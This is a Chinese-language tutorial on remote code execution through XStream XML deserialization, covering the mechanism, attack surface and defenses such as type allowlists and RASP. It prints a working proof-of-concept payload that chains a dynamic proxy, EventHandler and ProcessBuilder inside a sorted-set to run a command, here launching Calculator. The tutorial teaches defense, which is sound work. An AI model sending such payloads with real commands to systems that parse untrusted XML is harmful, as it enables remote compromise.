1. 概述
本文将深入剖析针对 XStream XML 序列化库的 远程代码执行(Remote Code Execution, RCE) 攻击。这类攻击属于典型的 不可信反序列化 类型。
我们将了解:
- XStream 在什么情况下会受到此类攻击影响
- 攻击是如何构造并执行的
- 如何防范这类攻击
通过本文,你将掌握 XStream 的反序列化机制和潜在的安全风险,避免在实际项目中踩坑。
2. XStream 基础知识
XStream 是一个用于将 Java 对象与 XML 之间进行序列化/反序列化的开源库。它通过 Java 反射机制来实现对象与 XML 的相互转换。
例如,我们定义一个简单的 Person
类:
public class Person {
private String first;
private String last;
// 标准 getter/setter
}
使用 XStream 将对象序列化为 XML:
XStream xstream = new XStream();
String xml = xstream.toXML(person);
也可以将 XML 反序列化为对象:
XStream xstream = new XStream();
xstream.alias("person", Person.class);
String xml = "<person><first>John</first><last>Smith</last></person>";
Person person = (Person) xstream.fromXML(xml);
✅ 关键点:
XStream 在反序列化 XML 时,会根据 XML 中的标签名决定要实例化的 Java 类型。如果攻击者可以控制 XML 内容,就可能触发恶意类的加载和执行。
3. 攻击原理详解
3.1. 攻击目标
攻击者希望在目标系统上执行任意命令,比如启动计算器程序:
- macOS:
/Applications/Calculator.app
- Windows:
calc.exe
通常我们会这样启动一个进程:
new ProcessBuilder().command("calc.exe").start();
但 XStream 在反序列化过程中,只会调用构造函数和设置字段,无法直接调用 start()
方法。这就需要攻击者通过巧妙的类组合来实现。
3.2. 使用 Comparable
动态代理触发方法调用
攻击者利用 Java 的动态代理机制创建一个实现了 Comparable
接口的代理对象,并结合 java.beans.EventHandler
实现方法调用。
最终构造出如下 XML:
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
这个 XML 在反序列化时会被 XStream 解析为一个 Comparable
的代理对象,其 compareTo()
方法最终会调用 ProcessBuilder.start()
。
3.3. 利用 TreeSet
强制调用 compareTo
为了触发代理对象的 compareTo()
方法,攻击者使用 TreeSet
的构造函数:
new TreeSet<>(Collection<? extends E> c)
该构造函数会遍历集合中的元素并调用它们的 compareTo()
方法。因此,构造如下 XML:
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
当 XStream 解析这段 XML 时,会创建一个包含字符串和代理对象的 TreeSet
,从而触发 compareTo()
方法调用,最终执行攻击代码。
3.4. 攻击流程总结
- XStream 解析 XML,创建
TreeSet
并传入一个集合 - 构造函数调用集合中元素的
compareTo()
方法 - 代理对象的
compareTo()
被调用,通过EventHandler
触发ProcessBuilder.start()
- 攻击命令被执行
⚠️ 注意: 攻击成功的关键是 XStream 会根据 XML 标签动态加载类并执行其方法。
4. XStream 的攻击面分析
XStream 是否存在远程代码执行漏洞,取决于是否允许攻击者控制 XML 输入。
✅ 安全场景
- 应用仅使用 XStream 解析可信的 XML(如本地配置文件)
- 管理员维护的 XML,攻击者无法修改内容
❌ 危险场景
- 应用通过 REST API 接收 XML 输入并使用 XStream 解析
- 用户上传 XML 文件并由 XStream 处理
- 第三方系统发送 XML 数据并由 XStream 反序列化
在这些场景下,攻击者可以构造恶意 XML,诱导 XStream 执行任意代码。
5. 防御手段
5.1. 使用 XStream 的安全机制(推荐)
XStream 自 1.4.7 版本起引入了安全框架,允许配置允许反序列化的类型白名单:
XStream xstream = new XStream();
xstream.addPermission(NoTypePermission.NONE);
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
xstream.allowTypes(new Class<?>[] { Person.class });
这样可以禁止 XStream 加载除白名单外的类,有效防止恶意类加载。
5.2. 使用 RASP 技术增强防护(可选)
Runtime Application Self-Protection(RASP)是一种运行时防护技术,通过字节码插桩实时检测并阻断攻击行为。
RASP 可以自动识别并阻止类似 XStream 反序列化攻击,相比手动维护白名单更安全可靠。
6. 总结
本文详细介绍了 XStream 的远程代码执行攻击原理,包括:
- XStream 的反序列化机制
- 攻击者如何通过 XML 控制类加载并执行任意代码
- 实际攻击场景与防御手段
✅ 核心结论:
- XStream 在处理不可信 XML 输入时存在 RCE 风险
- 必须使用安全框架限制允许反序列化的类型
- 对于高安全要求的系统,建议引入 RASP 等运行时防护机制
如果你在项目中使用了 XStream,请务必检查是否启用了安全策略,否则可能成为攻击入口。
示例代码地址:
GitHub - XStream RCE 示例